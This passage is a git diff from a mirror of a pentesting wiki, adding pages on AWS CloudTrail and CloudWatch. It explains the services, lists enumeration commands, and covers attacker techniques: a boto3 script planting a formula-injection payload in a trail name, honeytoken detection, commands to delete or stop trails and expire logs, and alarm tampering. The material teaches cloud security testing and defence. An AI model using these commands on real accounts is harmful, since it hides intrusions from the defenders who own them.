mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-09 03:40:59 -08:00
Migrate to using mdbook
This commit is contained in:
@@ -0,0 +1,2 @@
|
||||
# AWS - Security & Detection Services
|
||||
|
||||
@@ -0,0 +1,295 @@
|
||||
# AWS - CloudTrail Enum
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## **CloudTrail**
|
||||
|
||||
AWS CloudTrail **records and monitors activity within your AWS environment**. It captures detailed **event logs**, including who did what, when, and from where, for all interactions with AWS resources. This provides an audit trail of changes and actions, aiding in security analysis, compliance auditing, and resource change tracking. CloudTrail is essential for understanding user and resource behavior, enhancing security postures, and ensuring regulatory compliance.
|
||||
|
||||
Each logged event contains:
|
||||
|
||||
- The name of the called API: `eventName`
|
||||
- The called service: `eventSource`
|
||||
- The time: `eventTime`
|
||||
- The IP address: `SourceIPAddress`
|
||||
- The agent method: `userAgent`. Examples:
|
||||
- Signing.amazonaws.com - From AWS Management Console
|
||||
- console.amazonaws.com - Root user of the account
|
||||
- lambda.amazonaws.com - AWS Lambda
|
||||
- The request parameters: `requestParameters`
|
||||
- The response elements: `responseElements`
|
||||
|
||||
Event's are written to a new log file **approximately each 5 minutes in a JSON file**, they are held by CloudTrail and finally, log files are **delivered to S3 approximately 15mins after**.\
|
||||
CloudTrails logs can be **aggregated across accounts and across regions.**\
|
||||
CloudTrail allows to use **log file integrity in order to be able to verify that your log files have remained unchanged** since CloudTrail delivered them to you. It creates a SHA-256 hash of the logs inside a digest file. A sha-256 hash of the new logs is created every hour.\
|
||||
When creating a Trail the event selectors will allow you to indicate the trail to log: Management, data or insights events.
|
||||
|
||||
Logs are saved in an S3 bucket. By default Server Side Encryption is used (SSE-S3) so AWS will decrypt the content for the people that has access to it, but for additional security you can use SSE with KMS and your own keys.
|
||||
|
||||
The logs are stored in a **S3 bucket with this name format**:
|
||||
|
||||
- **`BucketName/AWSLogs/AccountID/CloudTrail/RegionName/YYY/MM/DD`**
|
||||
- Being the BucketName: **`aws-cloudtrail-logs-<accountid>-<random>`**
|
||||
- Example: **`aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/`**
|
||||
|
||||
Inside each folder each log will have a **name following this format**: **`AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz`**
|
||||
|
||||
Log File Naming Convention
|
||||
|
||||
.png>)
|
||||
|
||||
Moreover, **digest files (to check file integrity)** will be inside the **same bucket** in:
|
||||
|
||||
.png>)
|
||||
|
||||
### Aggregate Logs from Multiple Accounts
|
||||
|
||||
- Create a Trial in the AWS account where you want the log files to be delivered to
|
||||
- Apply permissions to the destination S3 bucket allowing cross-account access for CloudTrail and allow each AWS account that needs access
|
||||
- Create a new Trail in the other AWS accounts and select to use the created bucket in step 1
|
||||
|
||||
However, even if you can save al the logs in the same S3 bucket, you cannot aggregate CloudTrail logs from multiple accounts into a CloudWatch Logs belonging to a single AWS account.
|
||||
|
||||
> [!CAUTION]
|
||||
> Remember that an account can have **different Trails** from CloudTrail **enabled** storing the same (or different) logs in different buckets.
|
||||
|
||||
### Cloudtrail from all org accounts into 1
|
||||
|
||||
When creating a CloudTrail, it's possible to indicate to get activate cloudtrail for all the accounts in the org and get the logs into just 1 bucket:
|
||||
|
||||
<figure><img src="../../../../images/image (200).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
This way you can easily configure CloudTrail in all the regions of all the accounts and centralize the logs in 1 account (that you should protect).
|
||||
|
||||
### Log Files Checking
|
||||
|
||||
You can check that the logs haven't been altered by running
|
||||
|
||||
```javascript
|
||||
aws cloudtrail validate-logs --trail-arn <trailARN> --start-time <start-time> [--end-time <end-time>] [--s3-bucket <bucket-name>] [--s3-prefix <prefix>] [--verbose]
|
||||
```
|
||||
|
||||
### Logs to CloudWatch
|
||||
|
||||
**CloudTrail can automatically send logs to CloudWatch so you can set alerts that warns you when suspicious activities are performed.**\
|
||||
Note that in order to allow CloudTrail to send the logs to CloudWatch a **role** needs to be created that allows that action. If possible, it's recommended to use AWS default role to perform these actions. This role will allow CloudTrail to:
|
||||
|
||||
- CreateLogStream: This allows to create a CloudWatch Logs log streams
|
||||
- PutLogEvents: Deliver CloudTrail logs to CloudWatch Logs log stream
|
||||
|
||||
### Event History
|
||||
|
||||
CloudTrail Event History allows you to inspect in a table the logs that have been recorded:
|
||||
|
||||
.png>)
|
||||
|
||||
### Insights
|
||||
|
||||
**CloudTrail Insights** automatically **analyzes** write management events from CloudTrail trails and **alerts** you to **unusual activity**. For example, if there is an increase in `TerminateInstance` events that differs from established baselines, you’ll see it as an Insight event. These events make **finding and responding to unusual API activity easier** than ever.
|
||||
|
||||
The insights are stored in the same bucket as the CloudTrail logs in: `BucketName/AWSLogs/AccountID/CloudTrail-Insight`
|
||||
|
||||
### Security
|
||||
|
||||
| CloudTrail Log File Integrity | <ul><li>Validate if logs have been tampered with (modified or deleted)</li><li><p>Uses digest files (create hash for each file)</p><ul><li>SHA-256 hashing</li><li>SHA-256 with RSA for digital signing</li><li>private key owned by Amazon</li></ul></li><li>Takes 1 hour to create a digest file (done on the hour every hour)</li></ul> |
|
||||
| ------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
|
||||
| Stop unauthorized access | <ul><li><p>Use IAM policies and S3 bucket policies</p><ul><li>security team —> admin access</li><li>auditors —> read only access</li></ul></li><li>Use SSE-S3/SSE-KMS to encrypt the logs</li></ul> |
|
||||
| Prevent log files from being deleted | <ul><li>Restrict delete access with IAM and bucket policies</li><li>Configure S3 MFA delete</li><li>Validate with Log File Validation</li></ul> |
|
||||
|
||||
## Access Advisor
|
||||
|
||||
AWS Access Advisor relies on last 400 days AWS **CloudTrail logs to gather its insights**. CloudTrail captures a history of AWS API calls and related events made in an AWS account. Access Advisor utilizes this data to **show when services were last accessed**. By analyzing CloudTrail logs, Access Advisor can determine which AWS services an IAM user or role has accessed and when that access occurred. This helps AWS administrators make informed decisions about **refining permissions**, as they can identify services that haven't been accessed for extended periods and potentially reduce overly broad permissions based on real usage patterns.
|
||||
|
||||
> [!TIP]
|
||||
> Therefore, Access Advisor informs about **the unnecessary permissions being given to users** so the admin could remove them
|
||||
|
||||
<figure><img src="../../../../images/image (78).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Actions
|
||||
|
||||
### Enumeration
|
||||
|
||||
```bash
|
||||
# Get trails info
|
||||
aws cloudtrail list-trails
|
||||
aws cloudtrail describe-trails
|
||||
aws cloudtrail list-public-keys
|
||||
aws cloudtrail get-event-selectors --trail-name <trail_name>
|
||||
aws [--region us-east-1] cloudtrail get-trail-status --name [default]
|
||||
|
||||
# Get insights
|
||||
aws cloudtrail get-insight-selectors --trail-name <trail_name>
|
||||
|
||||
# Get data store info
|
||||
aws cloudtrail list-event-data-stores
|
||||
aws cloudtrail list-queries --event-data-store <data-source>
|
||||
aws cloudtrail get-query-results --event-data-store <data-source> --query-id <id>
|
||||
```
|
||||
|
||||
### **CSV Injection**
|
||||
|
||||
It's possible to perform a CVS injection inside CloudTrail that will execute arbitrary code if the logs are exported in CSV and open with Excel.\
|
||||
The following code will generate log entry with a bad Trail name containing the payload:
|
||||
|
||||
```python
|
||||
import boto3
|
||||
payload = "=cmd|'/C calc'|''"
|
||||
client = boto3.client('cloudtrail')
|
||||
response = client.create_trail(
|
||||
Name=payload,
|
||||
S3BucketName="random"
|
||||
)
|
||||
print(response)
|
||||
```
|
||||
|
||||
For more information about CSV Injections check the page:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/formula-injection
|
||||
{{#endref}}
|
||||
|
||||
For more information about this specific technique check [https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/](https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/)
|
||||
|
||||
## **Bypass Detection**
|
||||
|
||||
### HoneyTokens **bypass**
|
||||
|
||||
Honeyokens are created to **detect exfiltration of sensitive information**. In case of AWS, they are **AWS keys whose use is monitored**, if something triggers an action with that key, then someone must have stolen that key.
|
||||
|
||||
However, Honeytokens like the ones created by [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren) are either using recognizable account name or using the same AWS account ID for all their customers. Therefore, if you can get the account name and/or account ID without making Cloudtrail create any log, **you could know if the key is a honeytoken or not**.
|
||||
|
||||
[**Pacu**](https://github.com/RhinoSecurityLabs/pacu/blob/79cd7d58f7bff5693c6ae73b30a8455df6136cca/pacu/modules/iam__detect_honeytokens/main.py#L57) has some rules to detect if a key belongs to [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren)**:**
|
||||
|
||||
- If **`canarytokens.org`** appears in the role name or the account ID **`534261010715`** appears in the error message.
|
||||
- Testing them more recently, they are using the account **`717712589309`** and still has the **`canarytokens.com`** string in the name.
|
||||
- If **`SpaceCrab`** appears in the role name in the error message
|
||||
- **SpaceSiren** uses **uuids** to generate usernames: `[a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}`
|
||||
- If the **name looks like randomly generated**, there are high probabilities that it's a HoneyToken.
|
||||
|
||||
#### Get the account ID from the Key ID
|
||||
|
||||
You can get the **Account ID** from the **encoded** inside the **access key** as [**explained here**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489) and check the account ID with your list of Honeytokens AWS accounts:
|
||||
|
||||
```python
|
||||
import base64
|
||||
import binascii
|
||||
|
||||
def AWSAccount_from_AWSKeyID(AWSKeyID):
|
||||
|
||||
trimmed_AWSKeyID = AWSKeyID[4:] #remove KeyID prefix
|
||||
x = base64.b32decode(trimmed_AWSKeyID) #base32 decode
|
||||
y = x[0:6]
|
||||
|
||||
z = int.from_bytes(y, byteorder='big', signed=False)
|
||||
mask = int.from_bytes(binascii.unhexlify(b'7fffffffff80'), byteorder='big', signed=False)
|
||||
|
||||
e = (z & mask)>>7
|
||||
return (e)
|
||||
|
||||
print("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56JQ7WML")))
|
||||
```
|
||||
|
||||
Check more information in the [**orginal research**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489).
|
||||
|
||||
#### Do not generate a log
|
||||
|
||||
The most effective technique for this is actually a simple one. Just use the key you just found to access some service inside your own attackers account. This will make **CloudTrail generate a log inside YOUR OWN AWS account and not inside the victims**.
|
||||
|
||||
The things is that the output will show you an error indicating the account ID and the account name so **you will be able to see if it's a Honeytoken**.
|
||||
|
||||
#### AWS services without logs
|
||||
|
||||
In the past there were some **AWS services that doesn't send logs to CloudTrail** (find a [list here](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-unsupported-aws-services.html)). Some of those services will **respond** with an **error** containing the **ARN of the key role** if someone unauthorised (the honeytoken key) try to access it.
|
||||
|
||||
This way, an **attacker can obtain the ARN of the key without triggering any log**. In the ARN the attacker can see the **AWS account ID and the name**, it's easy to know the HoneyToken's companies accounts ID and names, so this way an attacker can identify id the token is a HoneyToken.
|
||||
|
||||
.png>)
|
||||
|
||||
> [!CAUTION]
|
||||
> Note that all public APIs discovered to not being creating CloudTrail logs are now fixed, so maybe you need to find your own...
|
||||
>
|
||||
> For more information check the [**original research**](https://rhinosecuritylabs.com/aws/aws-iam-enumeration-2-0-bypassing-cloudtrail-logging/).
|
||||
|
||||
### Accessing Third Infrastructure
|
||||
|
||||
Certain AWS services will **spawn some infrastructure** such as **Databases** or **Kubernetes** clusters (EKS). A user **talking directly to those services** (like the Kubernetes API) **won’t use the AWS API**, so CloudTrail won’t be able to see this communication.
|
||||
|
||||
Therefore, a user with access to EKS that has discovered the URL of the EKS API could generate a token locally and **talk to the API service directly without getting detected by Cloudtrail**.
|
||||
|
||||
More info in:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-post-exploitation/aws-eks-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
### Modifying CloudTrail Config
|
||||
|
||||
#### Delete trails
|
||||
|
||||
```bash
|
||||
aws cloudtrail delete-trail --name [trail-name]
|
||||
```
|
||||
|
||||
#### Stop trails
|
||||
|
||||
```bash
|
||||
aws cloudtrail stop-logging --name [trail-name]
|
||||
```
|
||||
|
||||
#### Disable multi-region logging
|
||||
|
||||
```bash
|
||||
aws cloudtrail update-trail --name [trail-name] --no-is-multi-region --no-include-global-services
|
||||
```
|
||||
|
||||
#### Disable Logging by Event Selectors
|
||||
|
||||
```bash
|
||||
# Leave only the ReadOnly selector
|
||||
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[{"ReadWriteType": "ReadOnly"}]' --region <region>
|
||||
|
||||
# Remove all selectors (stop Insights)
|
||||
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[]' --region <region>
|
||||
```
|
||||
|
||||
In the first example, a single event selector is provided as a JSON array with a single object. The `"ReadWriteType": "ReadOnly"` indicates that the **event selector should only capture read-only events** (so CloudTrail insights **won't be checking write** events for example).
|
||||
|
||||
You can customize the event selector based on your specific requirements.
|
||||
|
||||
#### Logs deletion via S3 lifecycle policy
|
||||
|
||||
```bash
|
||||
aws s3api put-bucket-lifecycle --bucket <bucket_name> --lifecycle-configuration '{"Rules": [{"Status": "Enabled", "Prefix": "", "Expiration": {"Days": 7}}]}' --region <region>
|
||||
```
|
||||
|
||||
### Modifying Bucket Configuration
|
||||
|
||||
- Delete the S3 bucket
|
||||
- Change bucket policy to deny any writes from the CloudTrail service
|
||||
- Add lifecycle policy to S3 bucket to delete objects
|
||||
- Disable the kms key used to encrypt the CloudTrail logs
|
||||
|
||||
### Cloudtrail ransomware
|
||||
|
||||
#### S3 ransomware
|
||||
|
||||
You could **generate an asymmetric key** and make **CloudTrail encrypt the data** with that key and **delete the private key** so the CloudTrail contents cannot be recovered cannot be recovered.\
|
||||
This is basically a **S3-KMS ransomware** explained in:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-post-exploitation/aws-s3-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
**KMS ransomware**
|
||||
|
||||
This is an easiest way to perform the previous attack with different permissions requirements:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-post-exploitation/aws-kms-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
## **References**
|
||||
|
||||
- [https://cloudsecdocs.com/aws/services/logging/cloudtrail/#inventory](https://cloudsecdocs.com/aws/services/logging/cloudtrail/#inventory)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,458 @@
|
||||
# AWS - CloudWatch Enum
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## CloudWatch
|
||||
|
||||
**CloudWatch** **collects** monitoring and operational **data** in the form of logs/metrics/events providing a **unified view of AWS resources**, applications and services.\
|
||||
CloudWatch Log Event have a **size limitation of 256KB on each log line**.\
|
||||
It can set **high resolution alarms**, visualize **logs** and **metrics** side by side, take automated actions, troubleshoot issues, and discover insights to optimize applications.
|
||||
|
||||
You can monitor for example logs from CloudTrail. Events that are monitored:
|
||||
|
||||
- Changes to Security Groups and NACLs
|
||||
- Starting, Stopping, rebooting and terminating EC2 instances
|
||||
- Changes to Security Policies within IAM and S3
|
||||
- Failed login attempts to the AWS Management Console
|
||||
- API calls that resulted in failed authorization
|
||||
- Filters to search in cloudwatch: [https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/FilterAndPatternSyntax.html](https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/FilterAndPatternSyntax.html)
|
||||
|
||||
## Key concepts
|
||||
|
||||
### Namespaces
|
||||
|
||||
A namespace is a container for CloudWatch metrics. It helps to categorize and isolate metrics, making it easier to manage and analyze them.
|
||||
|
||||
- **Examples**: AWS/EC2 for EC2-related metrics, AWS/RDS for RDS metrics.
|
||||
|
||||
### Metrics
|
||||
|
||||
Metrics are data points collected over time that represent the performance or utilization of AWS resources. Metrics can be collected from AWS services, custom applications, or third-party integrations.
|
||||
|
||||
- **Example**: CPUUtilization, NetworkIn, DiskReadOps.
|
||||
|
||||
### Dimensions
|
||||
|
||||
Dimensions are key-value pairs that are part of metrics. They help to uniquely identify a metric and provide additional context, being 30 the most number of dimensions that can be associated with a metric. Dimensions also allow to filter and aggregate metrics based on specific attributes.
|
||||
|
||||
- **Example**: For EC2 instances, dimensions might include InstanceId, InstanceType, and AvailabilityZone.
|
||||
|
||||
### Statistics
|
||||
|
||||
Statistics are mathematical calculations performed on metric data to summarize it over time. Common statistics include Average, Sum, Minimum, Maximum, and SampleCount.
|
||||
|
||||
- **Example**: Calculating the average CPU utilization over a period of one hour.
|
||||
|
||||
### Units
|
||||
|
||||
Units are the measurement type associated with a metric. Units help to provide context and meaning to the metric data. Common units include Percent, Bytes, Seconds, Count.
|
||||
|
||||
- **Example**: CPUUtilization might be measured in Percent, while NetworkIn might be measured in Bytes.
|
||||
|
||||
## CloudWatch Features
|
||||
|
||||
### Dashboard
|
||||
|
||||
**CloudWatch Dashboards** provide customizable **views of your AWS CloudWatch metrics**. It is possible to create and configure dashboards to visualize data and monitor resources in a single view, combining different metrics from various AWS services.
|
||||
|
||||
**Key Features**:
|
||||
|
||||
- **Widgets**: Building blocks of dashboards, including graphs, text, alarms, and more.
|
||||
- **Customization**: Layout and content can be customized to fit specific monitoring needs.
|
||||
|
||||
**Example Use Case**:
|
||||
|
||||
- A single dashboard showing key metrics for your entire AWS environment, including EC2 instances, RDS databases, and S3 buckets.
|
||||
|
||||
### Metric Stream and Metric Data
|
||||
|
||||
**Metric Streams** in AWS CloudWatch enable you to continuously stream CloudWatch metrics to a destination of your choice in near real-time. This is particularly useful for advanced monitoring, analytics, and custom dashboards using tools outside of AWS.
|
||||
|
||||
**Metric Data** inside Metric Streams refers to the actual measurements or data points that are being streamed. These data points represent various metrics like CPU utilization, memory usage, etc., for AWS resources.
|
||||
|
||||
**Example Use Case**:
|
||||
|
||||
- Sending real-time metrics to a third-party monitoring service for advanced analysis.
|
||||
- Archiving metrics in an Amazon S3 bucket for long-term storage and compliance.
|
||||
|
||||
### Alarm
|
||||
|
||||
**CloudWatch Alarms** monitor your metrics and perform actions based on predefined thresholds. When a metric breaches a threshold, the alarm can perform one or more actions such as sending notifications via SNS, triggering an auto-scaling policy, or running an AWS Lambda function.
|
||||
|
||||
**Key Components**:
|
||||
|
||||
- **Threshold**: The value at which the alarm triggers.
|
||||
- **Evaluation Periods**: The number of periods over which data is evaluated.
|
||||
- **Datapoints to Alarm**: The number of periods with a reached threshold needed to trigger the alarm
|
||||
- **Actions**: What happens when an alarm state is triggered (e.g., notify via SNS).
|
||||
|
||||
**Example Use Case**:
|
||||
|
||||
- Monitoring EC2 instance CPU utilization and sending a notification via SNS if it exceeds 80% for 5 consecutive minutes.
|
||||
|
||||
### Anomaly Detectors
|
||||
|
||||
**Anomaly Detectors** use machine learning to automatically detect anomalies in your metrics. You can apply anomaly detection to any CloudWatch metric to identify deviations from normal patterns that might indicate issues.
|
||||
|
||||
**Key Components**:
|
||||
|
||||
- **Model Training**: CloudWatch uses historical data to train a model and establish what normal behavior looks like.
|
||||
- **Anomaly Detection Band**: A visual representation of the expected range of values for a metric.
|
||||
|
||||
**Example Use Case**:
|
||||
|
||||
- Detecting unusual CPU utilization patterns in an EC2 instance that might indicate a security breach or application issue.
|
||||
|
||||
### Insight Rules and Managed Insight Rules
|
||||
|
||||
**Insight Rules** allow you to identify trends, detect spikes, or other patterns of interest in your metric data using **powerful mathematical expressions** to define the conditions under which actions should be taken. These rules can help you identify anomalies or unusual behaviors in your resource performance and utilization.
|
||||
|
||||
**Managed Insight Rules** are pre-configured **insight rules provided by AWS**. They are designed to monitor specific AWS services or common use cases and can be enabled without needing detailed configuration.
|
||||
|
||||
**Example Use Case**:
|
||||
|
||||
- Monitoring RDS Performance: Enable a managed insight rule for Amazon RDS that monitors key performance indicators such as CPU utilization, memory usage, and disk I/O. If any of these metrics exceed safe operational thresholds, the rule can trigger an alert or automated mitigation action.
|
||||
|
||||
### CloudWatch Logs <a href="#cloudwatch-logs" id="cloudwatch-logs"></a>
|
||||
|
||||
Allows to **aggregate and monitor logs from applications** and systems from **AWS services** (including CloudTrail) and **from apps/systems** (**CloudWatch Agen**t can be installed on a host). Logs can be **stored indefinitely** (depending on the Log Group settings) and can be exported.
|
||||
|
||||
**Elements**:
|
||||
|
||||
| **Log Group** | A **collection of log streams** that share the same retention, monitoring, and access control settings |
|
||||
| ------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| **Log Stream** | A sequence of **log events** that share the **same source** |
|
||||
| **Subscription Filters** | Define a **filter pattern that matches events** in a particular log group, send them to Kinesis Data Firehose stream, Kinesis stream, or a Lambda function |
|
||||
|
||||
### CloudWatch Monitoring & Events
|
||||
|
||||
CloudWatch **basic** aggregates data **every 5min** (the **detailed** one does that **every 1 min**). After the aggregation, it **checks the thresholds of the alarms** in case it needs to trigger one.\
|
||||
In that case, CLoudWatch can be prepared to send an event and perform some automatic actions (AWS lambda functions, SNS topics, SQS queues, Kinesis Streams)
|
||||
|
||||
### Agent Installation
|
||||
|
||||
You can install agents inside your machines/containers to automatically send the logs back to CloudWatch.
|
||||
|
||||
- **Create** a **role** and **attach** it to the **instance** with permissions allowing CloudWatch to collect data from the instances in addition to interacting with AWS systems manager SSM (CloudWatchAgentAdminPolicy & AmazonEC2RoleforSSM)
|
||||
- **Download** and **install** the **agent** onto the EC2 instance ([https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip](https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip)). You can download it from inside the EC2 or install it automatically using AWS System Manager selecting the package AWS-ConfigureAWSPackage
|
||||
- **Configure** and **start** the CloudWatch Agent
|
||||
|
||||
A log group has many streams. A stream has many events. And inside of each stream, the events are guaranteed to be in order.
|
||||
|
||||
## Enumeration
|
||||
|
||||
```bash
|
||||
# Dashboards #
|
||||
|
||||
## Returns a list of the dashboards of your account
|
||||
aws cloudwatch list-dashboards
|
||||
|
||||
## Retrieves the details of the specified dashboard
|
||||
aws cloudwatch get-dashboard --dashboard-name <value>
|
||||
|
||||
# Metrics #
|
||||
|
||||
## Returns a list of the specified metric
|
||||
aws cloudwatch list-metrics [--namespace <value>] [--metric-name <value>] [--dimensions <value>] [--include-linked-accounts | --no-include-linked-accounts]
|
||||
|
||||
## Retrieves metric data (this operation can include a CloudWatch Metrics Insights query, and one or more metric math functions)
|
||||
aws cloudwatch get-metric-data --metric-data-queries <value> --start-time <value> --end-time <value>
|
||||
|
||||
## Retrieves statistics for the specified metric and namespace over a range of time
|
||||
aws cloudwatch get-metric-statistics --namespace <value> --metric-name <value> [--dimensions <value>] --start-time <value> --end-time <value> --period <value>
|
||||
|
||||
## Returns a list of the metric streams of your account
|
||||
aws cloudwatch list-metric-streams
|
||||
|
||||
## Retrieves information about the specified metric stream
|
||||
aws cloudwatch get-metric-stream --name <value>
|
||||
|
||||
## Retrieve snapshots of the specified metric widgets
|
||||
aws cloudwatch get-metric-widget-image --metric-widget <value>
|
||||
|
||||
# Alarms #
|
||||
|
||||
## Retrieves the specified alarm
|
||||
aws cloudwatch describe-alarms [--alarm-names <value>] [--alarm-name-prefix <value>] [--alarm-types <value>] [--state-value <value>]
|
||||
|
||||
## Retrieves the alarms history, even for deleted alarms
|
||||
aws cloudwatch describe-alarm-history [--alarm-name <value>] [--alarm-types <value>] [--history-item-type <ConfigurationUpdate | StateUpdate | Action>] [--start-date <value>] [--end-date <value>]
|
||||
|
||||
## Retrieves standard alarms based on the specified metric
|
||||
aws cloudwatch escribe-alarms-for-metric --metric-name <value> --namespace <value> [--dimensions <value>]
|
||||
|
||||
# Anomaly Detections #
|
||||
|
||||
## Lists the anomaly detection models that you have created in your account
|
||||
aws cloudwatch describe-anomaly-detectors [--namespace <value>] [--metric-name <value>] [--dimensions <value>]
|
||||
|
||||
## Lists all the Contributor Insight rules in your account
|
||||
aws cloudwatch describe-insight-rules
|
||||
|
||||
## Retrieves the data collected over a time range for a given Contributor Insight rule
|
||||
aws cloudwatch get-insight-rule-report --rule-name <value> --start-time <value> --end-time <value> --period <value>
|
||||
|
||||
## Lists managed Contributor Insights rules in your account for a specified resource
|
||||
aws cloudwatch list-managed-insight-rules --resource-arn <value>
|
||||
|
||||
# Tags #
|
||||
|
||||
## Lists the tags associated with the specified CloudWatch resources
|
||||
aws cloudwatch list-tags-for-resource --resource-arn <value>
|
||||
|
||||
# CloudWatch Logs #
|
||||
aws logs tail "<log_group_name>" --followaws logs get-log-events --log-group-name "<log_group_name>" --log-stream-name "<log_stream_name>" --output text > <output_file>
|
||||
|
||||
# CloudWatch Events #
|
||||
aws events list-rules
|
||||
aws events describe-rule --name <name>aws events list-targets-by-rule --rule <name>aws events list-archives
|
||||
aws events describe-archive --archive-name <name>aws events list-connections
|
||||
aws events describe-connection --name <name>aws events list-endpoints
|
||||
aws events describe-endpoint --name <name>aws events list-event-sources
|
||||
aws events describe-event-source --name <name>aws events list-replays
|
||||
aws events list-api-destinations
|
||||
aws events list-event-buses
|
||||
```
|
||||
|
||||
## Post-Exploitation / Bypass
|
||||
|
||||
### **`cloudwatch:DeleteAlarms`,`cloudwatch:PutMetricAlarm` , `cloudwatch:PutCompositeAlarm`**
|
||||
|
||||
An attacker with this permissions could significantly undermine an organization's monitoring and alerting infrastructure. By deleting existing alarms, an attacker could disable crucial alerts that notify administrators of critical performance issues, security breaches, or operational failures. Furthermore, by creating or modifying metric alarms, the attacker could also mislead administrators with false alerts or silence legitimate alarms, effectively masking malicious activities and preventing timely responses to actual incidents.
|
||||
|
||||
In addition, with the **`cloudwatch:PutCompositeAlarm`** permission, an attacker would be able to create a loop or cycle of composite alarms, where composite alarm A depends on composite alarm B, and composite alarm B also depends on composite alarm A. In this scenario, it is not possible to delete any composite alarm that is part of the cycle because there is always still a composite alarm that depends on that alarm that you want to delete.
|
||||
|
||||
```bash
|
||||
aws cloudwatch put-metric-alarm --cli-input-json <value> | --alarm-name <value> --comparison-operator <value> --evaluation-periods <value> [--datapoints-to-alarm <value>] [--threshold <value>] [--alarm-description <value>] [--alarm-actions <value>] [--metric-name <value>] [--namespace <value>] [--statistic <value>] [--dimensions <value>] [--period <value>]
|
||||
aws cloudwatch delete-alarms --alarm-names <value>
|
||||
aws cloudwatch put-composite-alarm --alarm-name <value> --alarm-rule <value> [--no-actions-enabled | --actions-enabled [--alarm-actions <value>] [--insufficient-data-actions <value>] [--ok-actions <value>] ]
|
||||
```
|
||||
|
||||
The following example shows how to make a metric alarm ineffective:
|
||||
|
||||
- This metric alarm monitors the average CPU utilization of a specific EC2 instance, evaluates the metric every 300 seconds and requires 6 evaluation periods (30 minutes total). If the average CPU utilization exceeds 60% for at least 4 of these periods, the alarm will trigger and send a notification to the specified SNS topic.
|
||||
- By modifying the Threshold to be more than 99%, setting the Period to 10 seconds, the Evaluation Periods to 8640 (since 8640 periods of 10 seconds equal 1 day), and the Datapoints to Alarm to 8640 as well, it would be necessary for the CPU utilization to be over 99% every 10 seconds throughout the entire 24-hour period to trigger an alarm.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Original Metric Alarm" }}
|
||||
|
||||
```json
|
||||
{
|
||||
"Namespace": "AWS/EC2",
|
||||
"MetricName": "CPUUtilization",
|
||||
"Dimensions": [
|
||||
{
|
||||
"Name": "InstanceId",
|
||||
"Value": "i-01234567890123456"
|
||||
}
|
||||
],
|
||||
"AlarmActions": ["arn:aws:sns:us-east-1:123456789012:example_sns"],
|
||||
"ComparisonOperator": "GreaterThanThreshold",
|
||||
"DatapointsToAlarm": 4,
|
||||
"EvaluationPeriods": 6,
|
||||
"Period": 300,
|
||||
"Statistic": "Average",
|
||||
"Threshold": 60,
|
||||
"AlarmDescription": "CPU Utilization of i-01234567890123456 over 60%",
|
||||
"AlarmName": "EC2 instance i-01234567890123456 CPU Utilization"
|
||||
}
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Modified Metric Alarm" }}
|
||||
|
||||
```json
|
||||
{
|
||||
"Namespace": "AWS/EC2",
|
||||
"MetricName": "CPUUtilization",
|
||||
"Dimensions": [
|
||||
{
|
||||
"Name": "InstanceId",
|
||||
"Value": "i-0645d6d414dadf9f8"
|
||||
}
|
||||
],
|
||||
"AlarmActions": [],
|
||||
"ComparisonOperator": "GreaterThanThreshold",
|
||||
"DatapointsToAlarm": 8640,
|
||||
"EvaluationPeriods": 8640,
|
||||
"Period": 10,
|
||||
"Statistic": "Average",
|
||||
"Threshold": 99,
|
||||
"AlarmDescription": "CPU Utilization of i-01234567890123456 with 60% as threshold",
|
||||
"AlarmName": "Instance i-0645d6d414dadf9f8 CPU Utilization"
|
||||
}
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Potential Impact**: Lack of notifications for critical events, potential undetected issues, false alerts, suppress genuine alerts and potentially missed detections of real incidents.
|
||||
|
||||
### **`cloudwatch:DeleteAlarmActions`, `cloudwatch:EnableAlarmActions` , `cloudwatch:SetAlarmState`**
|
||||
|
||||
